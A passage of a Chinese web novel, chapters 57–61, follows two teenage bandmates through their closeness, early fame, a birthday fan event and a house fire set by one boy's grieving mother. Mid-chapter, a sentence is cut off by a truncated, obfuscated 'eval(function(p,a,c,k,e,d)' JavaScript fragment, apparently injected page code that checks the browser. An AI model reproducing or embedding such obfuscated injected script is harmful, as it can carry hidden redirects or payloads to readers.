因为屋子早就断水断电,导致冰箱里的东西被清理干净了,柜子里只有几包方便面和几根火腿肠,连个鸡蛋都没有,为了营养均衡,他去阳台把陆笑蓉种的一盆樱桃萝卜摘了半盆,又摘了几把生菜,剪了一把小葱。 三更半夜,邱以星给他煮泡面吃,他把剩下的几包面全倒进锅里,又将火腿肠都下进去,厨房里热气氤氲,暖融融的,孔栩靠着墙壁,一眨不眨地看着邱以星。 邱以星见桌上还剩三个果冻橙,做了一道樱桃萝卜沙拉当泡面的配菜。 上次吃饭还是在昨天,已经一天一夜过去,他早已饥肠辘辘,之前因为太过恐慌没顾得上饿,此时在极致的安静中,诱人的喷香往他鼻子里直钻,孔栩的肚子咕叽咕叽作响,邱以星不自觉勾起嘴角,又笑了:“马上就好。” 孔栩不知道他在说什么,只觉得他的笑容非常好看,好看到耀眼的程度了。 是光线的作用吗? 孔栩开口说:“邱以星,你别笑,你一笑我觉得更饿了。” 58. 第 58 章 两人吃完泡面,邱以星收拾了一下,陪孔栩回房间休息。 孔栩吃饱了不想动,整个人显得懒洋洋的,睡了一整天,此刻又睡不着,邱以星让他去洗澡,他赖在床上表示不想去。 邱以星从衣柜里拿出他的睡衣,把他从床上拉起来,孔栩不配合地往后倒,邱以星不轻不重地拍了下他的屁股,给他打字:快去洗,身上都是汗,洗完会舒服一点。 孔栩看后,立即拉开衣领闻了闻:“是不是有味道啊?那我去洗了。” 他抱着干净的衣服磨磨蹭蹭往前走了两步,扭头看向邱以星,给邱以星抛了个致命的问题:“我不想一个人,你能不能陪我一起洗?” 邱以星:“……” 孔栩又说:“我想看着你,一个人我害怕。” 邱以星张了张口:“你、你要……我们一起洗?” 孔栩看懂了他的口型,却没领会他的疑问,眨了眨眼睛:“是啊,我还可以给你搓背。” “不行。”邱以星冷漠拒绝。 “为什么?” “没有为什么。” 孔栩不能理解,一直追问:“为什么不行?我们都是男生,有什么不可以的?” 邱以星不由分说按住他肩膀,将他身体扭转一百八十度,推他进浴室,孔栩却在此时突然转身,像猴子抱紧树干一样紧紧搂住他,声音吵得邱以星微微偏过头:“为什么不可以啊邱以星,我没有骗你,我真的好害怕,你就陪陪我吧。” 过了好半天,邱以星都没有其他动作,就在孔栩认为邱以星变得铁石心肠时,邱以星才给他打字:行吧。 不过没有一起洗,淋浴区有一道玻璃门,孔栩脱光了进去洗澡,邱以星穿着衣服背靠着玻璃门另一侧,听见水声哗啦啦地流淌着,热气从缝隙里钻出来。 孔栩一边洗头,一边还要睁眼确认邱以星在不在,洗发水不小心进了眼睛,他下意识用手揉了一下,结果越揉越疼,忍不住哼了一声,邱以星忙问:“怎么了?” 孔栩听不见,没有回应,胳膊一抬,角架被他碰了一下,歪了,沐浴露和洗发水纷纷落地,发出嘭咚一声响,邱以星又问了一遍:“孔栩,你在干什么?” 孔栩仰头用水直冲眼睛,往后退了一步,正好踩中地面的瓶子,脚下一滑—— 完了,至少要摔个半身不遂了。 刹那间孔栩闪过这样一个念头,可他并没有重重摔倒在地,有人用两只手稳稳地扶住他的腰侧,等他站稳后,飞快松开了手指。 邱以星的眼睛不知道要看哪里,把地上的瓶瓶罐罐捡到一边,确认孔栩不会再踩到后,又推开玻璃门回到了原来的位置。 好在他背对着孔栩,看不见他血色涌上脸颊,几乎要滴出来。 孔栩无知无觉对着他的后背邀请说:“邱以星,谢了啊,把你的衣服都弄湿了,你真不进来一起洗吗?” 邱以星使劲摇头,他深深呼出一口气,狠狠掐了一下自己大腿,以疼痛警醒自己保持冷静。 孔栩洗好后,吹干头发,径直躺在了邱以星的床上,并拍拍旁边的空位置,让邱以星也赶紧躺下来。 邱以星打字:这不对吧? 孔栩蛮不讲理:“有什么不对,你可以睡我的床,我就能睡你的床。” 邱以星:随便你,往里面去去。 孔栩反反复复还是那一句:“我不要,离你太远我害怕。” 邱以星一躺下来,孔栩就找了个舒服的姿势,钻进了他怀里。 好像流浪的船只终于驶入宁静安全的港湾,孔栩光是抱着邱以星就拥有了踏实的感觉,他几乎有些迷恋这种感受了,很是沉醉地抱着邱以星吸了一口气:“你用什么的沐浴露,怎么这么香。” 这话听起来就不正经,邱以星无奈地按住额头:“不是只有一个味吗?你也是这个味道的。” 紧接着邱以星忽然一愣,几乎有些恼怒了:“孔栩,你干什么呢?” 孔栩仗着听不见,愈加放肆,一只脚插进邱以星的两腿,顺势一带,把邱以星的一条腿圈在了自己两腿之间,他抱着邱以星的一条胳膊,安安心心地霸占着邱以星的半边身体,还要无辜地睁圆眼睛,问他:“邱以星,我可以这样抱着你睡吧?” 关灯后,他只能依靠触感和体温确认邱以星的存在,同时他也知道邱以星是不会拒绝他的。 果然不出他所料,邱以星只是伸手盖住了他睁着的眼睛。 之前也不是没抱着一起睡过觉,可是此刻对邱以星来说,他们亲密得已经超过安全距离。 邱以星的心剧烈地跳动鼓噪,好在孔栩对此毫无觉察,他柔软的睫毛在邱以星掌心颤了颤,轻声低语说:“邱以星,能遇到你真好,如果没有你,我都不知道该怎么办了。” 回应他的是邱以星轻柔地拍着他的背。 何斯清在他幼年时也没有这样温柔地哄他睡觉过,想到何斯清,他心里一阵钝痛,孔栩的眼眶莫名地潮湿,将头埋得更低。 邱以星对他的好冲淡了何斯清的冷漠,邱以星简直像是上天赐给他的补偿,孔栩想,如果是这样的结果,他也可以接受了。 第二天孔栩的情况果然好了许多,醒来的时候邱以星还在他身边,姿势跟昨天一样,没有发生任何变化,第一句就是:“孔栩,可以把我的手还给我了吗?” 世界重新回到了他的耳朵里,孔栩望着邱以星有些发怔,随后恋恋不舍地松开手:“哦,可以。” “现在怎么样?”邱以星揉揉他的耳朵,“能听见了?听得清楚吗?” 孔栩直白地说:“嗯,很清楚。” “那就好。”邱以星松了口气。 “你的声音真好听啊,之前就觉得,现在更这么觉得了,我很高兴回到有声世界的第一句听见的是你说的话。” 邱以星:“……” 孔栩洗漱完毕之后,跑到音乐教室练了会琴,令他感到安心的是手感没有丝毫变化,他的音感也都在,这次小小的灾难令他更加珍惜自己能够听见声音的每一天,同时让他催生出一种“看不见邱以星就感到焦虑”之类的后遗症。 邱以星的手机一直发出震动,似乎有人找他,他看了一眼就关了机,孔栩用询问的眼神看他,邱以星淡淡地说:“是我妈。” 孔栩:“那你为什么不接?” 邱以星看着他:“催我回家的,你说要不要接?” 孔栩想也不想就说:“那还是别接了。” 他不否认自己是个自私的人,他现在非常非常需要邱以星,孔栩在心里说,希望叔叔阿姨不要生气。 大年初二,街上的人多了起来,大多是走亲访友的,他们两人沿着园区大门外一条笔直的公路往前走,要穿过一个红绿灯去街对面,对面有个小商场,有几家店铺零零散散地营业着。 两人找了个二十四小时营业的便利店,买了一些速食产品,请店员帮忙加热。 便利店就他们两个客人,店员接过两个饭团和两盒日式肥牛饭,抬了下头,随即一怔,目不转睛地盯着他们看了片刻,然后发出一声小小的惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆笑蓉:是啊,羡慕嘛?微笑.jpg 陈颂:一点也不。呵呵.jpg 孔栩和邱以星默不作声,不敢说陆笑蓉的那盆草莓已经进了他们腹中,孔栩打算重新给陆笑蓉买一盆新的,防止陆笑蓉回来追杀他们。 过了最开始的不安,孔栩渐渐地平静下来。 他想好了,开学前几天就去学校附近租个房子,先把高中读下来,等他考上大学就可以住在学校寝室,哪怕他没有地方住,他也不会去找孔嘉年和易姝心。 至于何斯清,孔栩就如她所愿,离她远一点。 邱以星的父母隔一小时给他打一次电话,搞得孔栩都有些过意不去了,劝邱以星说:“你接一下吧,万一你爸妈找你有要紧事呢?” “他们没什么事找我。”邱以星讲这话的时候显得有些冷淡,孔栩观察着他的表情,听他又说,“你别多想。” 孔栩:“哦。” 邱以星解释了一句:“他们估计只是想‘睹物思人’而已。” 孔栩没听明白:“嗯?” 邱以星落寞地朝他笑了一下:“真没事,这几天我都陪你。” 孔栩听他这么说,自然是高兴的,高兴之余又觉得对邱以星有所亏欠,所以他脑筋一转,提出了一个补偿措施:“邱以星,我教你下学期的课程吧,拿支笔过来。” 邱以星:“……” 59. 第 59 章 晚上,邱以星还是忍不住出去接了电话。 他出来得太匆忙,给孔栩打电话一直打不通,他当时正在亲戚家里吃饭,匆匆跟长辈们打了个招呼,就跑了出来。 尚问兰的声音带着浓浓的鼻音,着急地问道:“你到底跑哪儿去了?吃饭了没有?” 邱远抱怨的声音从她身旁传来:“都多大个人了,一点也不懂事。亲戚们都在,那多人他说走就走,难不成遇到天塌的事了,急成那个样子!” 尚问兰偏过身体,转到一边,并不理会邱远的话,问邱以星:“你现在在哪,回家了吗?” 邱以星低声回答:“妈,我吃过了,暂时不回去了。” 邱远闻言冷笑:“你养的好儿子,翅膀硬了,知道飞了。他肯定跟那帮狐朋狗友在外面瞎混,一会要搞乐队,一会到签经纪公司,跟玩似的,你看一天天的,他能不能做点正经事?” “你能不能闭嘴!”尚问兰低低地吼邱远,终于忍无可忍,“别把所有责任推到我身上,他不是你儿子?” “原来你知道他也是我的儿子啊?我一管他,你就跟我唱反调,慈母多败儿!”听对面动静,邱远似是重重拍了下桌子,跟她大声争执起来。 尚问兰带着哭腔对他说:“难道是我要接他回来的?你非说睿睿一个人孤单,让他过来给睿睿作伴。” “我要提早知道他是这副德行,我怎么可能接他回来?”邱远口不择言,继续说着伤人的话,“他十七岁了,不是七岁,我姑家的小儿子明明跟他一样大,嘴甜会叫人,成绩也好,饭桌上我姑一提他就笑得合不拢嘴,他呢?给我一肚子气!要是睿睿在——” 邱以星听到这,再也没有跟他们说话的欲望,匆匆挂断电话,并飞速关掉手机,仿佛这样,邱远的话就不会伤害到他,他就不会为此感到痛苦。 他一个人静静地站了片刻,不知道是不是阳台的风大了些,吹得他的头久违地开始疼。 邱以星按住太阳穴,屏息了十几秒钟,缓缓吐出一口气,转过身,急切地想见到孔栩。 他们两人一直蛰居在小小的宿舍,无聊就去音乐教室练琴,邱以星的脑子里翻滚着许多旋律,孔栩弹琴的时候,他就在一旁写歌。不想练琴就去休息室看电影,窗帘一拉,休息室暗下来,有种私人影院的氛围。 除了弹琴,也看了很多部经典的老电影,节奏慢,一看就两三个小时起步。孔栩津津有味地看着,弥补自己匮乏的电影经验,邱以星则没有这么好的耐心,头歪在孔栩肩膀上打盹。 随心所欲自由自在的日子一直持续到大年初八,项汝怡说正式开工。 不知是否是他们的错觉,公司里的人忽然变多了,每个部门都有了新面孔。 陆笑蓉一回来就去阳台,发现她种的蔬菜少了一大半,草莓少了两颗,樱桃萝卜变成了大白萝卜,她气沉丹田地怒吼:“谁把我草莓吃了?你吃就吃吧,还掩耳盗铃买了盆新的,你好歹把旧盆藏起来啊!” 夏桃杉见孔栩和邱以星站笔直,大气也不敢喘的模样,掩着嘴,笑道:“蓉蓉,算了,吃就吃了,我叫我爸妈送几筐来。” 陆笑蓉这才罢休,说完气势汹汹地怒视周围一圈,试图以凶神恶煞的眼神震慑不要脸的草莓小偷。 这是无比寻常的一天,项汝怡在小会议室给他们开了个会,简单说了接下来的行程安排,还给他们安排了两个贴身助理,分别叫做小晨和思思,都是女孩子,二十出头,小晨负责行程统筹,思思负责生活管理。 项汝怡说他们的新歌始终排在新歌排行榜前三,晚会播出的收视率也不错,当天又上了几次热搜,都是正向出圈,吸了一波路人粉。 还说不少合作方找他们合作,让他们接下来做好连轴转的准备。 直到开完会,他们也没有太大的感觉,该吃吃,该闹闹,然而他们的生活以这天为分水岭,变成了截然不同的模样。 寒假一眨眼就结束了,孔栩和邱以星一回学校报到,就被班级同学重重围了起来。 大家七嘴八舌地聚在一起问他们是怎么出道的?当明星的感觉怎么样?徐如夜本人好相处吗?他有没有女朋友?甚至越问越离奇—— “你们录节目在后台见到Shamash了没?有人爆料尹睢之其实是同性恋,这是真的吗?” “都说什么呢?回自己座位去,各科组长收寒假作业。”一道稳重的男声打断了他们的叽叽喳喳,柴晓驰站在讲台上,目光沉沉地瞪了他们一眼,“我在走廊就听见你们闹哄哄的声音!” 众人纷纷缩成鹌鹑,不再作声。 作业收好,新书发下去后,柴晓驰进行了座位调动,也没动多少,只让邱以星跟罗鸣玉换个位置。 孔栩和邱以星成了同桌,柴晓驰考虑到他们后面会经常性地请假,索性就让他们坐在一起,省得今天来明天不来的影响同桌学习。 换座位这事简直换到了孔栩心坎上,以后跟邱以星讲小话都不用扯他帽子了。 生活助理思思,给孔栩在学校附近的小区里租了一间两室一厅的房子,孔栩不去公司的时候就回这里住。 何斯清与他断绝往来是他心头阴影,没有跟任何人提,项汝怡也只是认为他觉得来回跑太辛苦,为了更方便而已。 等一切安排妥当,开学几天后到了邱以星生日。 孔栩一进教室门,就见到邱以星桌上堆满了各种礼物盒,孔栩差点以为情人节又来了。 “这谁送的啊?”孔栩拿起其中包装最为精美的盒子,“唔,怎么没写名字?” 邱以星将礼物塞进桌肚,孔栩看着他一脸坏笑:“不会是哪个暗恋你的人吧。” “别胡说。”虽然是生日,可邱以星的心情实在称不上美丽,昨晚只睡了三个小时,醒来后一直心悸,早上不顾尚问兰的唠叨,没吃早饭就出了门。 孔栩看他似乎兴致不高,没有继续调侃。 上午上完课,中午司机来接他们去线下见面会活动现场。 车里很暖和,放着一首抒情音乐,邱以星坐在车上昏昏欲睡。 这几天他们拍了《火锅之歌》的广告,又接了两个线下的媒体访谈,晚上回来要补白天落下的功课,工作强度比寒假那会要高得多,邱以星回家之后,睡眠质量直线下降,任何风吹草动都能惊扰他。 噩梦降临的次数也越来越多,醒来梦中发生的情节忘得一干二净,唯有浓浓的恐惧与不安让他手脚冰凉。 每当这个时候,他就格外想念宿舍那张窄小的床。 本次见面会安排在岚江的中心公园,公园面积很大,内有一座可容纳好几百人的环形剧场,四面的墙壁是透明的玻璃材质,夜幕降临后灯火辉煌,俯瞰整个公园,这座闪闪发光的剧场如同一颗耀眼的明珠镶嵌其中。 他们达到之后便开始彩排,各部门井然有序地协作,到晚上七点,观众们陆续进场,有些人手里还拿了横幅与应援灯牌,主持人开场之后,他们开始唱专辑的新歌,全场的灯光暗下,只有他们头顶的那束照着。 台上的五人光彩夺目,项汝怡抱着双臂在台下欣赏,满意地想,终于像那么回事了。 几人唱完,到中场休息,他们坐在舞台中间,抽粉丝起来提问。 孔栩不知道在想什么,心不在焉地看着台下某个地方出神,邱以星拍了下他后腰,他立马回过神,回答粉丝刚刚的问题。 有人问他们如何平衡学业与工作,也有人问他们出道之后压力是不是很大,还有人问组合里的每个人最害怕什么事。 陈颂从善如流最先开口说:“害怕新歌没人喜欢。” 陆笑蓉看了他一眼,勉强压了一下上翘的嘴角,一点也不配合地当众拆他的台:“队长,真的假的?你不是在音乐教室说过‘谁不喜欢那是谁没有品位’吗?我觉得你对我们新歌挺自信的啊。” 陈颂的脸微微发红:“行了,就你话多。到你了。” 陆笑蓉不再捉弄他,清清嗓子,正色道:“我最害怕只有我一个人的屋子。” 陈颂若有所思托着下巴:“真看不出来,你还有害怕的东西。” 陆笑蓉很想朝他翻白眼,忍住了,问夏桃杉:“桃子你怕什么?” 夏桃杉中规中矩地说:“我怕蟑螂。” 接下来是孔栩,孔栩思索半天说:“我之前最害怕弹琴的时候弹错。” “现在呢?” 孔栩下意识看了邱以星侧脸一眼,他经历过的恐惧时刻都有邱以星在他身边,他说:“现在我没有害怕的事。” 邱以星对这个问题感到为难,他选了个折中的回答:“害怕做梦吧。” 有人问他为什么,邱以星便以一种开玩笑的语气说:“怕噩梦成真。” 紧接着有人问了一些比较尖锐私人的问题,比如:邱以星和全小潭如今的关系如何,他做噩梦是跟这个有关吗?他们才刚出道就有了这样大的热度,问他们有没有能力承担得起? 他们不太在意提问的人字里行间微妙的恶意,邱以星实说自己和全小潭确实没有联系了,做噩梦也跟他没有关系。 孔栩回答说他们会用实际行动来证明他们配得上这样的热度,也不会让喜欢他们的人感到失望。 陆颂和陆笑蓉则是贱兮兮地对视一眼,立即说那是歌 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“邱以星,”孔栩笑容满面,看上去又激动又开心,他们早就计划在这天给邱以星过生日,又得瞒着邱以星不让他知道,憋了好几天,“快点许愿吹蜡烛。” 邱以星站在原地久久地愣神,台下每个人都分到了一块小蛋糕,环形剧场里满是蛋糕香甜的气息。 “这是我的生日蛋糕吗?”邱以星眼睛眨也不眨地问。 蛋糕是项汝怡提前很多天定制的,本来他们异想天开打算自己做,被项汝怡严词拒绝,平时做个饭都够呛,别逞不该逞的能。 蛋糕足有四层,最底层是黑巧克力,装点了很多巧克力碎,中间和芒果和草莓慕斯,最上面是白巧克力,还有一个翻糖制作的男孩玩偶,看上去精致极了。 不用说,邱以星知道这个玩偶代表的是他。 他双手合十许了个愿望,这个晚上太不真实,他担心如果太过贪心会让上天收走他的幸福,所以他只敢许一个愿望。 邱以星小心翼翼地吹熄蜡烛,将翻糖玩偶从蛋糕上铲了下来,放到一边的纸盘里。 大家都热烈地鼓掌,好像他做了一件特别了不起的事,这是邱以星这辈子收到过的第一个属于他自己的生日蛋糕,在以后的人生里他虽然也吃过很多种昂贵美味的蛋糕,却没有一个能够与之相提并论。 他们五个人把蛋糕分给在座的工作人员,给了项汝怡一块最大的。 随后他们几人才开始吃蛋糕,吃得嘴上又黑又白,最后单独拍了张合影,发到社交平台上,配文:和寿星一起吃蛋糕,超好吃。 回程时,邱以星把翻糖玩偶也带走了,他不想放家里,于是让孔栩帮忙放在他出租屋的冰箱里保存。 孔栩不知道一个翻糖玩偶有什么好保存的,不过他没有拒绝,里三层外三层地给他包好之后,迫不及待又拿出一个礼物盒:“当当当当当,邱以星,看这个,这是我送你的生日礼物。” 他话音一落,陈颂、陆笑蓉和夏桃杉的礼物也纷纷递了过来,把邱以星怀里塞得满满当当,孔栩带着一丝神秘说:“你记得回家再打开啊。” 邱以星闻言更好奇了:“是什么?” 孔栩:“回家你就知道了。” 陆笑蓉不想卖关子:“我送的耳机。” 然后她又一本正经地说:“我六月份过生日,想要一瓶香奈儿香水。” 邱以星干脆地说:“好,我送你。” 陈颂无语:“你当点菜啊?” 陆笑蓉:“你懂什么,这叫人情往来,讲究一来一往,我知道你们会送我礼物的,提前说免得礼物不合我心意,那么生日也不高兴了。” 孔栩觉得很有道理,凑上来:“我生日你送了我一个木鱼摆件,你有什么想要的?” 陆笑蓉不好意思地笑:“送你的礼物很便宜,去年没发劳务费,我身无分文,还是找邱以星借的钱。” 夏桃杉问:“你怎么不告诉我?” 陆笑蓉搂着夏桃杉,扭扭捏捏嗲嗲地说:“告诉你就让你为我担心了。” 陈颂黑着脸:“你别恶心行吗?” 陆笑蓉越发嗲:“我亲爱的桃子,你看看这个男人,真的很没有包容心,以后找男朋友可千万不要找这种的哦。” 陈颂:“……” 陆笑蓉暗哼一声,我还治不了你了。 迟钝如孔栩也注意到,陈颂和夏桃杉之间好像有什么不对劲的地方,他以询问的眼神看向邱以星,可邱以星全然沉浸在喜悦中,并没能理会他眼神中的含义,反倒牵住他的手,十指相扣,紧紧地攥了一下。 60. 第 60 章 邱以星到家时已经将近十点钟了,他一回家就闻到一股淡淡的古怪的气味,他说不上来,隐隐约约地飘在空气里,他无法准确地捕捉。 从过年那段时间开始,邱远和尚问兰一直分房睡,他妈把杂物间腾了个空,放了张折叠床,简简单单收拾成小房间的模样。 邱远每天早出晚归,几乎跟他们碰不到面,周末公司都有日程安排,就更难以见面。 这对邱以星来说是件好事。 他飞快回房间关上门,拆孔栩送他的生日礼物。 小心解开缠成蝴蝶结的丝带,揭开礼物盒,邱以星看见盒子里躺着一个黑色的跟他手掌差不多长的录音机。 已经被拆封过,他拿出说明书仔细查看了一下录音机的用法,开机后,发现里面有好几条录制完成的录音文件。 他点开其中一条录音,孔栩干净的声音便传了出来,录音时他可能太过接近话筒,导致就像趴在邱以星耳边说话一样。 “邱以星,化妆师说你最近黑眼圈很严重,你是不是总睡不好?打开我的礼物,你是不是以为我送了你一个录音机?嘿嘿嘿,你猜错了。” 他这么说着,邱以星听见有一页纸轻轻翻动的声音,孔栩清了清嗓子,继续说:“咳咳,《三百六十五个睡前故事》第一篇《云上的房子》。我的礼物是给你读睡前故事,希望你听了故事后,能睡得香香的。” 很简单的小故事,孔栩却娓娓道来,令人情不自禁地认真听。 “在云上的房子里,有一片很大的花园,花园里有各种各样的花,有白色的玫瑰花,白色的风信子,还有白色的郁金香。你如果要问这些花为什么都是白色的呢?因为云就是白色的呀。 “乐乐就住在云上的房子里,它最讨厌下雨,每次下雨它的家就变得脏兮兮的,玫瑰花耷拉着花瓣,风信子灰头土脸地叹气,郁金香流着眼泪说自己不再漂亮了。乐乐决定带着房子搬家,去一个不会下雨的地方……” 邱以星听着听着,嘴角不由得提了起来。 他又点开的第二个文件,孔栩朗读:“《三百六十五个睡前故事》第二篇《当当的秘密》。” 邱以星舍不得一口气听完,他把录音机放在床头,抱着睡衣去洗澡,打算洗好回来继续听。 走进客厅时,那股怪味却越来越大,邱以星皱紧眉头,先跑进厨房看是不是天然气漏了,天然气没问题,又去看是不是下水道的问题。 在家找了一圈,怪味源自于尚问兰现在住的杂物间,门缝里透出一丝火红的亮光,照得那小块瓷砖发出不正常的红通通的光。 “妈?”邱以星过去敲了敲门,“妈,你在干什么?你有没有闻到什么味道?” 门里的人并不作答,邱以星的声音大了点:“妈妈?” 房间里有人,可尚问兰一声不吭,邱以星觉得味道似乎又大了一点,甚至有浑浊呛人的烟味飘出来。 他想也没想,直接用肩膀撞开了房门,原来门压根就没锁,他看见尚问兰盘着腿坐在地上,面前放了一个小铁盆,盆里正熊熊燃烧着什么东西。 尚问兰手里拿着一个小小的吉他拨片,轻轻往盆里一丢,她垂着头喃喃自语:“睿睿,你还想要什么拨片就告诉妈妈,今天是你的生日,妈妈给你买了小蛋糕,你喜不喜欢?” 邱以星想要走近她的脚突然间停住了。 整个屋子里摆放的都是邱以睿的东西,邱以睿的两把吉他,邱以睿的乐队海报和照片,还有更小的时候他们三人照的全家福,包括她从自己屋里偷偷拿出来的那只小狮子玩偶。 尚问兰制造了一个绝对静止的邱以睿还存在的空间。 “妈,”邱以星低头看她,声音嘶哑,“你在干什么?” “我昨天梦到睿睿了,睿睿说他在那边没有吉他拨片,他的手弹得疼,顺便给他过个生日。”尚问兰用衣架拨了一下盆里的东西,以便燃烧得更加彻底。 “妈,今天也是我生日,”邱以星扯着嘴角,让自己看起来在笑,“我有没有蛋糕?” 尚问兰的表情没有丝毫波澜:“你不是不喜欢吃蛋糕吗?” 邱以星的指尖无意识地弹动两下,他颤着声音说:“因为你每次买蛋糕回来,邱以睿都会警告我,这是他的,让我别碰,所以我才……” “怎么可能呢,睿睿那么懂事,他总是把好东西让给你,当时你回家,他甚至要把房间让给你住。”尚问兰的声音低低的,她不相信,也不愿相信,“你不要再这么说了。” “妈,我一直有个问题想问你。”邱以星蹲在尚问兰面前,按住她不停拨动铁盆的手。 尚问兰这才停了下来,抬脸看向他,邱以星实在是跟邱以睿长得太像了,她的眼泪立马就流了下来,听邱以星缓慢地开口说:“那天我们在车上……我醒来的时候,你一直在喊我‘睿睿’,对不对?” 没等尚问兰回答,他继续追问:“你希望活下来的是邱以睿,抢救无效不治身亡的那个才是我,对不对?我活下来了,你一直为此感到痛苦,你总是在暗示我,如果我是邱以睿的话就好了,所有的苦难就可以迎刃而解,只要邱以星不存在,你们就还是快乐幸福的一家三口,就像我被你们接回来之前一样。” 尚问兰瞪圆了眼睛,惊恐地看着他,试图脱离他的钳制,可邱以星抓得很牢,并没有松开的意思,于是她尖叫道:“你不要污蔑睿睿,他是最听话懂事的孩子,你怎么能这么说他?!” “你明知道我说的都是真的。”邱以星看她的眼中掺杂着一丝怜悯,“我不太正常的那段时间,我记得你带我去医院看了精神科的医生。我现在想起来了,我坐在冰凉的椅子上,听你问医生——” 尚问兰突然间将手一抬,面前的铁盆被她掀翻,正燃烧的东西差点扑到邱以星的脸上,尚问兰无法抑制地朝他大叫:“我亏待你了吗邱以星?你现在找我算总账了是不是?为什么非要在这天,我只是想要跟睿睿单独讲讲话,你能不能不要来打扰我们?” 邱以星的心简直要痛死了,他的指甲深深地陷进掌心的肉里,强行让自己挤出一个微笑来:“原来一直以来都是我在打扰你们,对不起,妈妈。” 他摇摇晃晃地站起身,一颗豆大的火星燎着了床上的棉被,两人都没有发觉。 尚问兰见他单薄的身体扶着墙,下意识伸手上前,却又在半途停住,脸上的皱纹深得如同刀刻,她似乎很想对邱以星说些什么,可看着邱以星的脸又说不出来话了。 火苗贪婪地吞噬着它能够触及到的所有事物,它爬上窗台抓住了丝质的窗帘,灵活地咬住床头柜,扭头又钻进木头的缝隙里—— 邱以星猛地回过神,屋子里火光冲天,那瞬间他大脑一片空白,一把抓住尚问兰,将她推至门外。 尚问兰疯了一般要冲回杂物间,她撕心裂肺地大喊:“睿睿的吉他还在里面,他最喜欢的吉他还在里面!” 邱以星死死地抱住她,大火蔓延的速度比他想得还要快,顷刻间将屋子一口吞噬,燃烧声噼里啪啦,火星四溅,火势正飞速蔓延,尚问兰不停地挣扎,他朝她大吼:“你被烧死是不是?别动,房子要是还想要,先救火!” 尚问兰被他的吼声震得发懵,一时间愣住了,不再挣扎。 这时加班的邱远终于回到了家,他见 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邱远重重地叹了口气,不知道他的家怎么会变成这个样子,他看着哭得正伤心的尚问兰气不打一处来:“别哭了,你号哪门子的丧!你在家能不能做点好事,瞎烧什么东西?非要把家给烧光了才高兴是不是?” “邱远,”尚问兰抬起血红的眼睛,仇恨地盯着他,“你就是个畜生。” 这一看,让邱远在瞬间噤了声,他不自觉去看邱以星,见邱以星并没有帮他的打算,拍了拍屁股站起来,一副“不跟你计较”的做派,去卫生间洗澡去了。 又过了很长时间,尚问兰终于哭累了,却始终一动不动,像一座沉默的雕塑。 “我明天找人过来把家里清理一下,”邱以星说,“你早点休息。” 尚问兰久久地没有作声,半晌她抹了把脸,轻声说:“你们是双胞胎,我刚生你们的时候,你们总是一起哭一起笑,连胎毛的形状都是一模一样的,所以在我眼里,你们没有丝毫区别。是我的错,当初不应该把你们分开,我以为很快就能接你回来,哪知道一耽误就是七年。” 她在忏悔吗?邱以星听不明白,他厌恶地否认:“我和他不一样。” 邱以睿是个人渣,最垃圾的货色,我怎么跟他是一样的? 尚问兰在此时却露出一个怀念的笑容来,令邱以星感到毛骨悚然:“不,你们是一样的,你们都是我生的,你迟早会发现,刻在骨子里的东西是永远不可能改变的。不然要怎么解释,你那段时间一直维持着睿睿的模样呢?你一直在模仿他,学习他,你其实才是最渴望成为他的那个人,或者说,你们在本质上没有丝毫区别。” “我没有……”邱以星虚弱地反驳。 可尚问兰并不在乎,她分外疲惫地叹了口气:“小邱,我已经失去了一个孩子,不想再失去你,你对我也很重要,我们还像之前那样生活不好吗?每当你用这样的眼神看我,我都觉得是睿睿回来了,我只是……太想他了……” 邱以星不知道自己是什么眼神,等尚问兰离开客厅,他来到卫生间的镜子前,一眨不眨地盯着里面的人。 他一直都不太敢仔细端详镜中的人影,此刻他站在镜子前,看见镜中人无声地笑了一下。 邱以星的笑容总是温柔亲人的,可镜中人的眼底没有丝毫温度,直勾勾地盯着他。 他觉得寒意遍布四肢,五脏六腑都快要结冰。 邱以星在此刻忽然间察觉,原来噩梦从未远离过他,他只是暂时遗忘,如今噩梦又重新找上门了。 他头也不回地跑回屋子,像是猛鬼在他身后追赶,他缩在被窝里瑟瑟发抖,想起什么,抓起孔栩送他的录音机,点开第一条录音重新开始听: “在云上的房子里,有一片很大的花园……” 61. 第 61 章 邱以星梦遗了。 醒来后感到一阵黏腻的不适,他口干舌燥地抱着被子,心跳得很快,脸颊不由自主地发热发烫。 孔栩送的录音机已经播到了他录的最后一条,或许是碍于时长,孔栩只录了十条睡前故事。 他把录音机藏在枕头下面,捂着发热的脸,抱着被子缓了一会儿,然后从床上跳下去,换了干净的内裤,踮着脚把脏衣服和被单抱到卫生间洗。 尚问兰似乎还在睡,邱远已经上班去了,金灿灿的阳光照进窗台,晒着他刚洗完甩干的衣物,看上去好似又是新的一天,一切都有重新开始的可能。 可邱以星知道,那个被烧得焦黑的杂物间提醒着他,他的生活再次发生了翻天覆地的变化。 他们家每个人都套着一张虚伪的面具,他毫不留情地把面具撕开,真实就这样赤裸裸地展现在他眼前,他不想继续当乖巧听话的儿子,不想成为他们眼中邱以睿的替身,他只想成为他自己,哪怕他成绩差,不招人喜欢,不会说花言巧语,不会骑车和弹吉他,他也只想成为他自己。 因为这个自己是孔栩喜欢的,他也想试着去喜欢。 脑子里许久没有出现的声音再度响起,他幽幽地问道:“他真的喜欢你吗?他跟你的喜欢是一回事吗?” 邱以星的脸色发白,低低地吼:“闭嘴!” 声音停止了,邱以星不安地在房间了转了两圈,拿出手机,想给孔栩发消息,发现小群里聊得正欢。 火锅底料的广告播放后效果很不错,相关的品牌卖断货,《火锅之歌》也在众多年轻人间流传愈加广泛,他们的热度只增不减。 于是又有其他品牌方找上门,问项汝怡能不能给他们的新款汽水写首歌,帮忙宣传宣传。 陆笑蓉得知后,在小群里欢呼雀跃:“太好了,我超爱喝这个牌子的汽水。” 陈颂:“你写啊?” 陆笑蓉:“没错,歌名我打算叫做《打嗝》,每次喝完,打个嗝真的超爽的。” 孔栩回了一排“哈哈哈哈哈哈”,看起来很快乐。 夏桃杉犹豫不决:“嗯……这歌名能行吗?” 邱以星看着孔栩的羽毛头像,大拇指蹭上去轻轻摸了几下,好像能透过头像看见孔栩的脸似的。 除了接到新广告,他们还签了一档音乐类型的慢综艺,一共签了五期节目,他们改编自己的歌,或者唱别的嘉宾的歌,聊聊彼此的生活,讲自己现阶段的困惑与理想。 